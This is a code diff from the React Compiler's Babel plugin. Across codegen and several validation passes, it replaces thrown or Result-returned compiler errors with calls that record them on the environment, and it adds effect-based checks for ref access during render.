@@ -877,12 +880,15 @@ function codegenTerminal(
         loc: terminal.test.loc,
       });
       if (terminal.test.instructions.length !== 2) {
-        CompilerError.throwTodo({
-          reason: 'Support non-trivial for..of inits',
-          description: null,
-          loc: terminal.init.loc,
-          suggestions: null,
-        });
+        cx.recordError(
+          new CompilerErrorDetail({
+            reason: 'Support non-trivial for..of inits',
+            category: ErrorCategory.Todo,
+            loc: terminal.init.loc,
+            suggestions: null,
+          }),
+        );
+        return t.emptyStatement();
       }
       const iterableItem = terminal.test.instructions[1];
       let lval: t.LVal;
@@ -896,12 +902,15 @@ function codegenTerminal(
           break;
         }
         case 'StoreContext': {
-          CompilerError.throwTodo({
-            reason: 'Support non-trivial for..of inits',
-            description: null,
-            loc: terminal.init.loc,
-            suggestions: null,
-          });
+          cx.recordError(
+            new CompilerErrorDetail({
+              reason: 'Support non-trivial for..of inits',
+              category: ErrorCategory.Todo,
+              loc: terminal.init.loc,
+              suggestions: null,
+            }),
+          );
+          return t.emptyStatement();
         }
         default:
           CompilerError.invariant(false, {
@@ -1665,7 +1674,7 @@ function codegenInstructionValue(
                   cx.temp,
                 ),
                 reactiveFunction,
-              ).unwrap();
+              );
 
               /*
                * ObjectMethod builder must be backwards compatible with older versions of babel.
@@ -1864,7 +1873,7 @@ function codegenInstructionValue(
           cx.temp,
         ),
         reactiveFunction,
-      ).unwrap();
+      );
 
       if (instrValue.type === 'ArrowFunctionExpression') {
         let body: t.BlockStatement | t.Expression = fn.body;
@@ -1960,22 +1969,26 @@ function codegenInstructionValue(
         } else {
           if (t.isVariableDeclaration(stmt)) {
             const declarator = stmt.declarations[0];
-            cx.errors.push({
-              reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
-                (declarator.id as t.Identifier).name
-              }'`,
-              category: ErrorCategory.Todo,
-              loc: declarator.loc ?? null,
-              suggestions: null,
-            });
+            cx.recordError(
+              new CompilerErrorDetail({
+                reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
+                  (declarator.id as t.Identifier).name
+                }'`,
+                category: ErrorCategory.Todo,
+                loc: declarator.loc ?? null,
+                suggestions: null,
+              }),
+            );
             return t.stringLiteral(`TODO handle ${declarator.id}`);
           } else {
-            cx.errors.push({
-              reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
-              category: ErrorCategory.Todo,
-              loc: stmt.loc ?? null,
-              suggestions: null,
-            });
+            cx.recordError(
+              new CompilerErrorDetail({
+                reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
+                category: ErrorCategory.Todo,
+                loc: stmt.loc ?? null,
+                suggestions: null,
+              }),
+            );
             return t.stringLiteral(`TODO handle ${stmt.type}`);
           }
         }

compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/InferReactiveScopeVariables.ts

@@ -143,7 +143,7 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
   }
 
   /*
-   * Validate that all scopes have properly intialized, valid mutable ranges
+   * Validate that all scopes have properly initialized, valid mutable ranges
    * within the span of instructions for this function, ie from 1 to 1 past
    * the last instruction id.
    */

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateContextVariableLValues.ts

@@ -5,7 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import {CompilerError} from '..';
+import {CompilerDiagnostic, CompilerError} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {Environment} from '../HIR/Environment';
 import {HIRFunction, IdentifierId, Place} from '../HIR';
 import {printPlace} from '../HIR/PrintHIR';
 import {eachInstructionValueLValue, eachPatternOperand} from '../HIR/visitors';
@@ -17,12 +19,13 @@ import {eachInstructionValueLValue, eachPatternOperand} from '../HIR/visitors';
  */
 export function validateContextVariableLValues(fn: HIRFunction): void {
   const identifierKinds: IdentifierKinds = new Map();
-  validateContextVariableLValuesImpl(fn, identifierKinds);
+  validateContextVariableLValuesImpl(fn, identifierKinds, fn.env);
 }
 
 function validateContextVariableLValuesImpl(
   fn: HIRFunction,
   identifierKinds: IdentifierKinds,
+  env: Environment,
 ): void {
   for (const [, block] of fn.body.blocks) {
     for (const instr of block.instructions) {
@@ -30,30 +33,30 @@ function validateContextVariableLValuesImpl(
       switch (value.kind) {
         case 'DeclareContext':
         case 'StoreContext': {
-          visit(identifierKinds, value.lvalue.place, 'context');
+          visit(identifierKinds, value.lvalue.place, 'context', env);
           break;
         }
         case 'LoadContext': {
-          visit(identifierKinds, value.place, 'context');
+          visit(identifierKinds, value.place, 'context', env);
           break;
         }
         case 'StoreLocal':
         case 'DeclareLocal': {
-          visit(identifierKinds, value.lvalue.place, 'local');
+          visit(identifierKinds, value.lvalue.place, 'local', env);
           break;
         }
         case 'LoadLocal': {
-          visit(identifierKinds, value.place, 'local');
+          visit(identifierKinds, value.place, 'local', env);
           break;
         }
         case 'PostfixUpdate':
         case 'PrefixUpdate': {
-          visit(identifierKinds, value.lvalue, 'local');
+          visit(identifierKinds, value.lvalue, 'local', env);
           break;
         }
         case 'Destructure': {
           for (const lvalue of eachPatternOperand(value.lvalue.pattern)) {
-            visit(identifierKinds, lvalue, 'destructure');
+            visit(identifierKinds, lvalue, 'destructure', env);
           }
           break;
         }
@@ -62,18 +65,24 @@ function validateContextVariableLValuesImpl(
           validateContextVariableLValuesImpl(
             value.loweredFunc.func,
             identifierKinds,
+            env,
           );
           break;
         }
         default: {
           for (const _ of eachInstructionValueLValue(value)) {
-            CompilerError.throwTodo({
-              reason:
-                'ValidateContextVariableLValues: unhandled instruction variant',
-              loc: value.loc,
-              description: `Handle '${value.kind} lvalues`,
-              suggestions: null,
-            });
+            fn.env.recordError(
+              CompilerDiagnostic.create({
+                category: ErrorCategory.Todo,
+                reason:
+                  'ValidateContextVariableLValues: unhandled instruction variant',
+                description: `Handle '${value.kind} lvalues`,
+              }).withDetails({
+                kind: 'error',
+                loc: value.loc,
+                message: null,
+              }),
+            );
           }
         }
       }
@@ -90,6 +99,7 @@ function visit(
   identifiers: IdentifierKinds,
   place: Place,
   kind: 'local' | 'context' | 'destructure',
+  env: Environment,
 ): void {
   const prev = identifiers.get(place.identifier.id);
   if (prev !== undefined) {
@@ -97,12 +107,18 @@ function visit(
     const isContext = kind === 'context';
     if (wasContext !== isContext) {
       if (prev.kind === 'destructure' || kind === 'destructure') {
-        CompilerError.throwTodo({
-          reason: `Support destructuring of context variables`,
-          loc: kind === 'destructure' ? place.loc : prev.place.loc,
-          description: null,
-          suggestions: null,
-        });
+        env.recordError(
+          CompilerDiagnostic.create({
+            category: ErrorCategory.Todo,
+            reason: `Support destructuring of context variables`,
+            description: null,
+          }).withDetails({
+            kind: 'error',
+            loc: kind === 'destructure' ? place.loc : prev.place.loc,
+            message: null,
+          }),
+        );
+        return;
       }
 
       CompilerError.invariant(false, {

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateExhaustiveDependencies.ts

@@ -44,7 +44,6 @@ import {
   eachInstructionValueOperand,
   eachTerminalOperand,
 } from '../HIR/visitors';
-import {Result} from '../Utils/Result';
 import {retainWhere} from '../Utils/utils';
 
 const DEBUG = false;
@@ -88,9 +87,7 @@ const DEBUG = false;
  * When we go to compute the dependencies, we then think that the user's manual dep
  * logic is part of what the memo computation logic.
  */
-export function validateExhaustiveDependencies(
-  fn: HIRFunction,
-): Result<void, CompilerError> {
+export function validateExhaustiveDependencies(fn: HIRFunction): void {
   const env = fn.env;
   const reactive = collectReactiveIdentifiersHIR(fn);
 
@@ -105,7 +102,6 @@ export function validateExhaustiveDependencies(
       loc: place.loc,
     });
   }
-  const error = new CompilerError();
   let startMemo: StartMemoize | null = null;
 
   function onStartMemoize(
@@ -146,7 +142,8 @@ export function validateExhaustiveDependencies(
         'all',
       );
       if (diagnostic != null) {
-        error.pushDiagnostic(diagnostic);
+        fn.env.recordError(diagnostic);
+        startMemo.hasInvalidDeps = true;
       }
     }
 
@@ -211,13 +208,12 @@ export function validateExhaustiveDependencies(
           effectReportMode,
         );
         if (diagnostic != null) {
-          error.pushDiagnostic(diagnostic);
+          fn.env.recordError(diagnostic);
         }
       },
     },
     false, // isFunctionExpression
   );
-  return error.asResult();
 }
 
 function validateDependencies(

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateHooksUsage.ts

@@ -6,13 +6,9 @@
  */
 
 import * as t from '@babel/types';
-import {
-  CompilerError,
-  CompilerErrorDetail,
-  ErrorCategory,
-} from '../CompilerError';
+import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
 import {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';
-import {isHookName} from '../HIR/Environment';
+import {Environment, isHookName} from '../HIR/Environment';
 import {
   HIRFunction,
   IdentifierId,
@@ -26,7 +22,6 @@ import {
   eachTerminalOperand,
 } from '../HIR/visitors';
 import {assertExhaustive} from '../Utils/utils';
-import {Result} from '../Utils/Result';
 
 /**
  * Represents the possible kinds of value which may be stored at a given Place during
@@ -88,20 +83,17 @@ function joinKinds(a: Kind, b: Kind): Kind {
  *   may not appear as the callee of a conditional call.
  *   See the note for Kind.PotentialHook for sources of potential hooks
  */
-export function validateHooksUsage(
-  fn: HIRFunction,
-): Result<void, CompilerError> {
+export function validateHooksUsage(fn: HIRFunction): void {
   const unconditionalBlocks = computeUnconditionalBlocks(fn);
 
-  const errors = new CompilerError();
   const errorsByPlace = new Map<t.SourceLocation, CompilerErrorDetail>();
 
-  function recordError(
+  function trackError(
     loc: SourceLocation,
     errorDetail: CompilerErrorDetail,
   ): void {
     if (typeof loc === 'symbol') {
-      errors.pushErrorDetail(errorDetail);
+      fn.env.recordError(errorDetail);
     } else {
       errorsByPlace.set(loc, errorDetail);
     }
@@ -121,7 +113,7 @@ export function validateHooksUsage(
      * If that same place is also used as a conditional call, upgrade the error to a conditonal hook error
      */
     if (previousError === undefined || previousError.reason !== reason) {
-      recordError(
+      trackError(
         place.loc,
         new CompilerErrorDetail({
           category: ErrorCategory.Hooks,
@@ -137,7 +129,7 @@ export function validateHooksUsage(
     const previousError =
       typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
     if (previousError === undefined) {
-      recordError(
+      trackError(
         place.loc,
         new CompilerErrorDetail({
           category: ErrorCategory.Hooks,
@@ -154,7 +146,7 @@ export function validateHooksUsage(
     const previousError =
       typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
     if (previousError === undefined) {
-      recordError(
+      trackError(
         place.loc,
         new CompilerErrorDetail({
           category: ErrorCategory.Hooks,
@@ -399,7 +391,7 @@ export function validateHooksUsage(
         }
         case 'ObjectMethod':
         case 'FunctionExpression': {
-          visitFunctionExpression(errors, instr.value.loweredFunc.func);
+          visitFunctionExpression(fn.env, instr.value.loweredFunc.func);
           break;
         }
         default: {
@@ -424,18 +416,17 @@ export function validateHooksUsage(
   }
 
   for (const [, error] of errorsByPlace) {
-    errors.pushErrorDetail(error);
+    fn.env.recordError(error);
   }
-  return errors.asResult();
 }
 
-function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
+function visitFunctionExpression(env: Environment, fn: HIRFunction): void {
   for (const [, block] of fn.body.blocks) {
     for (const instr of block.instructions) {
       switch (instr.value.kind) {
         case 'ObjectMethod':
         case 'FunctionExpression': {
-          visitFunctionExpression(errors, instr.value.loweredFunc.func);
+          visitFunctionExpression(env, instr.value.loweredFunc.func);
           break;
         }
         case 'MethodCall':
@@ -446,7 +437,7 @@ function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
               : instr.value.property;
           const hookKind = getHookKind(fn.env, callee.identifier);
           if (hookKind != null) {
-            errors.pushErrorDetail(
+            env.recordError(
               new CompilerErrorDetail({
                 category: ErrorCategory.Hooks,
                 reason:

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateLocalsNotReassignedAfterRender.ts

@@ -7,6 +7,7 @@
 
 import {CompilerDiagnostic, CompilerError, Effect} from '..';
 import {ErrorCategory} from '../CompilerError';
+import {Environment} from '../HIR/Environment';
 import {HIRFunction, IdentifierId, Place} from '../HIR';
 import {
   eachInstructionLValue,
@@ -27,15 +28,15 @@ export function validateLocalsNotReassignedAfterRender(fn: HIRFunction): void {
     contextVariables,
     false,
     false,
+    fn.env,
   );
   if (reassignment !== null) {
-    const errors = new CompilerError();
     const variable =
       reassignment.identifier.name != null &&
       reassignment.identifier.name.kind === 'named'
         ? `\`${reassignment.identifier.name.value}\``
         : 'variable';
-    errors.pushDiagnostic(
+    fn.env.recordError(
       CompilerDiagnostic.create({
         category: ErrorCategory.Immutability,
         reason: 'Cannot reassign variable after render completes',
@@ -46,7 +47,6 @@ export function validateLocalsNotReassignedAfterRender(fn: HIRFunction): void {
         message: `Cannot reassign ${variable} after render completes`,
       }),
     );
-    throw errors;
   }
 }
 
@@ -55,6 +55,7 @@ function getContextReassignment(
   contextVariables: Set<IdentifierId>,
   isFunctionExpression: boolean,
   isAsync: boolean,
+  env: Environment,
 ): Place | null {
   const reassigningFunctions = new Map<IdentifierId, Place>();
   for (const [, block] of fn.body.blocks) {
@@ -68,6 +69,7 @@ function getContextReassignment(
             contextVariables,
             true,
             isAsync || value.loweredFunc.func.async,
+            env,
           );
           if (reassignment === null) {
             // If the function itself doesn't reassign, does one of its dependencies?
@@ -84,13 +86,12 @@ function getContextReassignment(
           // if the function or its depends reassign, propagate that fact on the lvalue
           if (reassignment !== null) {
             if (isAsync || value.loweredFunc.func.async) {
-              const errors = new CompilerError();
               const variable =
                 reassignment.identifier.name !== null &&
                 reassignment.identifier.name.kind === 'named'
                   ? `\`${reassignment.identifier.name.value}\``
                   : 'variable';
-              errors.pushDiagnostic(
+              env.recordError(
                 CompilerDiagnostic.create({
                   category: ErrorCategory.Immutability,
                   reason: 'Cannot reassign variable in async function',
@@ -102,7 +103,7 @@ function getContextReassignment(
                   message: `Cannot reassign ${variable}`,
                 }),
               );
-              throw errors;
+              return null;
             }
             reassigningFunctions.set(lvalue.identifier.id, reassignment);
           }

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoCapitalizedCalls.ts

@@ -5,15 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import {CompilerError, EnvironmentConfig} from '..';
+import {CompilerErrorDetail, EnvironmentConfig} from '..';
 import {ErrorCategory} from '../CompilerError';
 import {HIRFunction, IdentifierId} from '../HIR';
 import {DEFAULT_GLOBALS} from '../HIR/Globals';
-import {Result} from '../Utils/Result';
 
-export function validateNoCapitalizedCalls(
-  fn: HIRFunction,
-): Result<void, CompilerError> {
+export function validateNoCapitalizedCalls(fn: HIRFunction): void {
   const envConfig: EnvironmentConfig = fn.env.config;
   const ALLOW_LIST = new Set([
     ...DEFAULT_GLOBALS.keys(),
@@ -23,7 +20,6 @@ export function validateNoCapitalizedCalls(
     return ALLOW_LIST.has(name);
   };
 
-  const errors = new CompilerError();
   const capitalLoadGlobals = new Map<IdentifierId, string>();
   const capitalizedProperties = new Map<IdentifierId, string>();
   const reason =
@@ -48,13 +44,16 @@ export function validateNoCapitalizedCalls(
           const calleeIdentifier = value.callee.identifier.id;
           const calleeName = capitalLoadGlobals.get(calleeIdentifier);
           if (calleeName != null) {
-            CompilerError.throwInvalidReact({
-              category: ErrorCategory.CapitalizedCalls,
-              reason,
-              description: `${calleeName} may be a component`,
-              loc: value.loc,
-              suggestions: null,
-            });
+            fn.env.recordError(
+              new CompilerErrorDetail({
+                category: ErrorCategory.CapitalizedCalls,
+                reason,
+                description: `${calleeName} may be a component`,
+                loc: value.loc,
+                suggestions: null,
+              }),
+            );
+            continue;
           }
           break;
         }
@@ -72,18 +71,19 @@ export function validateNoCapitalizedCalls(
           const propertyIdentifier = value.property.identifier.id;
           const propertyName = capitalizedProperties.get(propertyIdentifier);
           if (propertyName != null) {
-            errors.push({
-              category: ErrorCategory.CapitalizedCalls,
-              reason,
-              description: `${propertyName} may be a component`,
-              loc: value.loc,
-              suggestions: null,
-            });
+            fn.env.recordError(
+              new CompilerErrorDetail({
+                category: ErrorCategory.CapitalizedCalls,
+                reason,
+                description: `${propertyName} may be a component`,
+                loc: value.loc,
+                suggestions: null,
+              }),
+            );
           }
           break;
         }
       }
     }
   }
-  return errors.asResult();
 }

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects.ts

@@ -6,7 +6,7 @@
  */
 
 import {CompilerError, SourceLocation} from '..';
-import {ErrorCategory} from '../CompilerError';
+import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
 import {
   ArrayExpression,
   BlockId,
@@ -20,6 +20,7 @@ import {
   eachInstructionValueOperand,
   eachTerminalOperand,
 } from '../HIR/visitors';
+import {Environment} from '../HIR/Environment';
 
 /**
  * Validates that useEffect is not used for derived computations which could/should
@@ -49,8 +50,6 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
   const functions: Map<IdentifierId, FunctionExpression> = new Map();
   const locals: Map<IdentifierId, IdentifierId> = new Map();
 
-  const errors = new CompilerError();
-
   for (const block of fn.body.blocks.values()) {
     for (const instr of block.instructions) {
       const {lvalue, value} = instr;
@@ -90,22 +89,19 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
             validateEffect(
               effectFunction.loweredFunc.func,
               dependencies,
-              errors,
+              fn.env,
             );
           }
         }
       }
     }
   }
-  if (errors.hasAnyErrors()) {
-    throw errors;
-  }
 }
 
 function validateEffect(
   effectFunction: HIRFunction,
   effectDeps: Array<IdentifierId>,
-  errors: CompilerError,
+  env: Environment,
 ): void {
   for (const operand of effectFunction.context) {
     if (isSetStateType(operand.identifier)) {
@@ -219,13 +215,15 @@ function validateEffect(
   }
 
   for (const loc of setStateLocations) {
-    errors.push({
-      category: ErrorCategory.EffectDerivationsOfState,
-      reason:
-        'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
-      description: null,
-      loc,
-      suggestions: null,
-    });
+    env.recordError(
+      new CompilerErrorDetail({
+        category: ErrorCategory.EffectDerivationsOfState,
+        reason:
+          'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
+        description: null,
+        loc,
+        suggestions: null,
+      }),
+    );
   }
 }

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoFreezingKnownMutableFunctions.ts

@@ -5,7 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import {CompilerDiagnostic, CompilerError, Effect} from '..';
+import {CompilerDiagnostic, Effect} from '..';
 import {ErrorCategory} from '../CompilerError';
 import {
   HIRFunction,
@@ -18,7 +18,6 @@ import {
   eachTerminalOperand,
 } from '../HIR/visitors';
 import {AliasingEffect} from '../Inference/AliasingEffects';
-import {Result} from '../Utils/Result';
 
 /**
  * Validates that functions with known mutations (ie due to types) cannot be passed
@@ -43,10 +42,7 @@ import {Result} from '../Utils/Result';
  * This pass detects functions with *known* mutations (Store or Mutate, not ConditionallyMutate)
  * that are passed where a frozen value is expected and rejects them.
  */
-export function validateNoFreezingKnownMutableFunctions(
-  fn: HIRFunction,
-): Result<void, CompilerError> {
-  const errors = new CompilerError();
+export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
   const contextMutationEffects: Map<
     IdentifierId,
     Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>
@@ -63,7 +59,7 @@ export function validateNoFreezingKnownMutableFunctions(
           place.identifier.name.kind === 'named'
             ? `\`${place.identifier.name.value}\``
             : 'a local variable';
-        errors.pushDiagnostic(
+        fn.env.recordError(
           CompilerDiagnostic.create({
             category: ErrorCategory.Immutability,
             reason: 'Cannot modify local variables after render completes',
@@ -162,5 +158,4 @@ export function validateNoFreezingKnownMutableFunctions(
       visitOperand(operand);
     }
   }
-  return errors.asResult();
 }

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoImpureFunctionsInRender.ts

@@ -5,11 +5,10 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import {CompilerDiagnostic, CompilerError} from '..';
+import {CompilerDiagnostic} from '..';
 import {ErrorCategory} from '../CompilerError';
 import {HIRFunction} from '../HIR';
 import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';
-import {Result} from '../Utils/Result';
 
 /**
  * Checks that known-impure functions are not called during render. Examples of invalid functions to
@@ -20,10 +19,7 @@ import {Result} from '../Utils/Result';
  * this in several of our validation passes and should unify those analyses into a reusable helper
  * and use it here.
  */
-export function validateNoImpureFunctionsInRender(
-  fn: HIRFunction,
-): Result<void, CompilerError> {
-  const errors = new CompilerError();
+export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
   for (const [, block] of fn.body.blocks) {
     for (const instr of block.instructions) {
       const value = instr.value;
@@ -35,7 +31,7 @@ export function validateNoImpureFunctionsInRender(
           callee.identifier.type,
         );
         if (signature != null && signature.impure === true) {
-          errors.pushDiagnostic(
+          fn.env.recordError(
             CompilerDiagnostic.create({
               category: ErrorCategory.Purity,
               reason: 'Cannot call impure function during render',
@@ -55,5 +51,4 @@ export function validateNoImpureFunctionsInRender(
       }
     }
   }
-  return errors.asResult();
 }

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccessInRender.ts

@@ -27,7 +27,6 @@ import {
   eachPatternOperand,
   eachTerminalOperand,
 } from '../HIR/visitors';
-import {Err, Ok, Result} from '../Utils/Result';
 import {retainWhere} from '../Utils/utils';
 
 /**
@@ -120,12 +119,14 @@ class Env {
   }
 }
 
-export function validateNoRefAccessInRender(
-  fn: HIRFunction,
-): Result<void, CompilerError> {
+export function validateNoRefAccessInRender(fn: HIRFunction): void {
   const env = new Env();
   collectTemporariesSidemap(fn, env);
-  return validateNoRefAccessInRenderImpl(fn, env).map(_ => undefined);
+  const errors = new CompilerError();
+  validateNoRefAccessInRenderImpl(fn, env, errors);
+  for (const detail of errors.details) {
+    fn.env.recordError(detail);
+  }
 }
 
 function collectTemporariesSidemap(fn: HIRFunction, env: Env): void {
@@ -305,7 +306,8 @@ function joinRefAccessTypes(...types: Array<RefAccessType>): RefAccessType {
 function validateNoRefAccessInRenderImpl(
   fn: HIRFunction,
   env: Env,
-): Result<RefAccessType, CompilerError> {
+  errors: CompilerError,
+): RefAccessType {
   let returnValues: Array<undefined | RefAccessType> = [];
   let place;
   for (const param of fn.params) {
@@ -336,7 +338,6 @@ function validateNoRefAccessInRenderImpl(
     env.resetChanged();
     returnValues = [];
     const safeBlocks: Array<{block: BlockId; ref: RefId}> = [];
-    const errors = new CompilerError();
     for (const [, block] of fn.body.blocks) {
       retainWhere(safeBlocks, entry => entry.block !== block.id);
       for (const phi of block.phis) {
@@ -432,13 +433,15 @@ function validateNoRefAccessInRenderImpl(
           case 'FunctionExpression': {
             let returnType: RefAccessType = {kind: 'None'};
             let readRefEffect = false;
+            const innerErrors = new CompilerError();
             const result = validateNoRefAccessInRenderImpl(
               instr.value.loweredFunc.func,
               env,
+              innerErrors,
             );
-            if (result.isOk()) {
-              returnType = result.unwrap();
-            } else if (result.isErr()) {
+            if (!innerErrors.hasAnyErrors()) {
+              returnType = result;
+            } else {
               readRefEffect = true;
             }
             env.set(instr.lvalue.identifier.id, {
@@ -484,24 +487,26 @@ function validateNoRefAccessInRenderImpl(
              */
             if (!didError) {
               const isRefLValue = isUseRefType(instr.lvalue.identifier);
-              for (const operand of eachInstructionValueOperand(instr.value)) {
-                /**
-                 * By default we check that function call operands are not refs,
-                 * ref values, or functions that can access refs.
-                 */
-                if (
-                  isRefLValue ||
-                  (hookKind != null &&
-                    hookKind !== 'useState' &&
-                    hookKind !== 'useReducer')
-                ) {
+              if (
+                isRefLValue ||
+                (hookKind != null &&
+                  hookKind !== 'useState' &&
+                  hookKind !== 'useReducer')
+              ) {
+                for (const operand of eachInstructionValueOperand(
+                  instr.value,
+                )) {
                   /**
                    * Allow passing refs or ref-accessing functions when:
                    * 1. lvalue is a ref (mergeRefs pattern: `mergeRefs(ref1, ref2)`)
                    * 2. calling hooks (independently validated for ref safety)
                    */
                   validateNoDirectRefValueAccess(errors, operand, env);
-                } else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
+                }
+              } else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
+                for (const operand of eachInstructionValueOperand(
+                  instr.value,
+                )) {
                   /**
                    * Special case: the lvalue is passed as a jsx child
                    *
@@ -510,7 +515,98 @@ function validateNoRefAccessInRenderImpl(
                    * render function which attempts to obey the rules.
                    */
                   validateNoRefValueAccess(errors, env, operand);
-                } else {
+                }
+              } else if (hookKind == null && instr.effects != null) {
+                /**
+                 * For non-hook functions with known aliasing effects, use the
+                 * effects to determine what validation to apply for each place.
+                 * Track visited id:kind pairs to avoid duplicate errors.
+                 */
+                const visitedEffects: Set<string> = new Set();
+                for (const effect of instr.effects) {
+                  let place: Place | null = null;
+                  let validation: 'ref-passed' | 'direct-ref' | 'none' = 'none';
+                  switch (effect.kind) {
+                    case 'Freeze': {
+                      place = effect.value;
+                      validation = 'direct-ref';
+                      break;
+                    }
+                    case 'Mutate':
+                    case 'MutateTransitive':
+                    case 'MutateConditionally':
+                    case 'MutateTransitiveConditionally': {
+                      place = effect.value;
+                      validation = 'ref-passed';
+                      break;
+                    }
+                    case 'Render': {
+                      place = effect.place;
+                      validation = 'ref-passed';
+                      break;
+                    }
+                    case 'Capture':
+                    case 'Alias':
+                    case 'MaybeAlias':
+                    case 'Assign':
+                    case 'CreateFrom': {
+                      place = effect.from;
+                      validation = 'ref-passed';
+                      break;
+                    }
+                    case 'ImmutableCapture': {
+                      /**
+                       * ImmutableCapture can come from two sources:
+                       * 1. A known signature that explicitly freezes the operand
+                       *    (e.g. PanResponder.create) — safe, the function doesn't
+                       *    call callbacks during render.
+                       * 2. Downgraded defaults when the operand is already frozen
+                       *    (e.g. foo(propRef)) — the function is unknown and may
+                       *    access the ref.
+                       *
+                       * We distinguish these by checking whether the same operand
+                       * also has a Freeze effect on this instruction, which only
+                       * comes from known signatures.
+                       */
+                      place = effect.from;
+                      const isFrozen = instr.effects.some(
+                        e =>
+                          e.kind === 'Freeze' &&
+                          e.value.identifier.id === effect.from.identifier.id,
+                      );
+                      validation = isFrozen ? 'direct-ref' : 'ref-passed';
+                      break;
+                    }
+                    case 'Create':
+                    case 'CreateFunction':
+                    case 'Apply':
+                    case 'Impure':
+                    case 'MutateFrozen':
+                    case 'MutateGlobal': {
+                      break;
+                    }
+                  }
+                  if (place !== null && validation !== 'none') {
+                    const key = `${place.identifier.id}:${validation}`;
+                    if (!visitedEffects.has(key)) {
+                      visitedEffects.add(key);
+                      if (validation === 'direct-ref') {
+                        validateNoDirectRefValueAccess(errors, place, env);
+                      } else {
+                        validateNoRefPassedToFunction(
+                          errors,
+                          env,
+                          place,
+                          place.loc,
+                        );
+                      }
+                    }
+                  }
+                }
+              } else {
+                for (const operand of eachInstructionValueOperand(
+                  instr.value,
+                )) {
                   validateNoRefPassedToFunction(
                     errors,
                     env,
@@ -729,7 +825,7 @@ function validateNoRefAccessInRenderImpl(
     }
 
     if (errors.hasAnyErrors()) {
-      return Err(errors);
+      return {kind: 'None'};
     }
   }
 
@@ -738,10 +834,8 @@ function validateNoRefAccessInRenderImpl(
     loc: GeneratedSource,
   });
 
-  return Ok(
-    joinRefAccessTypes(
-      ...returnValues.filter((env): env is RefAccessType => env !== undefined),
-    ),
+  return joinRefAccessTypes(
+    ...returnValues.filter((env): env is RefAccessType => env !== undefined),
   );
 }
 

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInRender.ts

@@ -13,7 +13,6 @@ import {
 import {HIRFunction, IdentifierId, isSetStateType} from '../HIR';
 import {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';
 import {eachInstructionValueOperand} from '../HIR/visitors';
-import {Result} from '../Utils/Result';
 
 /**
  * Validates that the given function does not have an infinite update loop
@@ -43,17 +42,21 @@ import {Result} from '../Utils/Result';
  * y();
  * ```
  */
-export function validateNoSetStateInRender(
-  fn: HIRFunction,
-): Result<void, CompilerError> {
+export function validateNoSetStateInRender(fn: HIRFunction): void {
   const unconditionalSetStateFunctions: Set<IdentifierId> = new Set();
-  return validateNoSetStateInRenderImpl(fn, unconditionalSetStateFunctions);
+  const errors = validateNoSetStateInRenderImpl(
+    fn,
+    unconditionalSetStateFunctions,
+  );
+  for (const detail of errors.details) {
+    fn.env.recordError(detail);
+  }
 }
 
 function validateNoSetStateInRenderImpl(
   fn: HIRFunction,
   unconditionalSetStateFunctions: Set<IdentifierId>,
-): Result<void, CompilerError> {
+): CompilerError {
   const unconditionalBlocks = computeUnconditionalBlocks(fn);
   let activeManualMemoId: number | null = null;
   const errors = new CompilerError();
@@ -92,7 +95,7 @@ function validateNoSetStateInRenderImpl(
             validateNoSetStateInRenderImpl(
               instr.value.loweredFunc.func,
               unconditionalSetStateFunctions,
-            ).isErr()
+            ).hasAnyErrors()
           ) {
             // This function expression unconditionally calls a setState
             unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);
@@ -183,5 +186,5 @@ function validateNoSetStateInRenderImpl(
     }
   }
 
-  return errors.asResult();
+  return errors;
 }

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidatePreservedManualMemoization.ts

@@ -27,6 +27,7 @@ import {
   ScopeId,
   SourceLocation,
 } from '../HIR';
+import {Environment} from '../HIR/Environment';
 import {printIdentifier, printManualMemoDependency} from '../HIR/PrintHIR';
 import {
   eachInstructionValueLValue,
@@ -37,7 +38,6 @@ import {
   ReactiveFunctionVisitor,
   visitReactiveFunction,
 } from '../ReactiveScopes/visitors';
-import {Result} from '../Utils/Result';
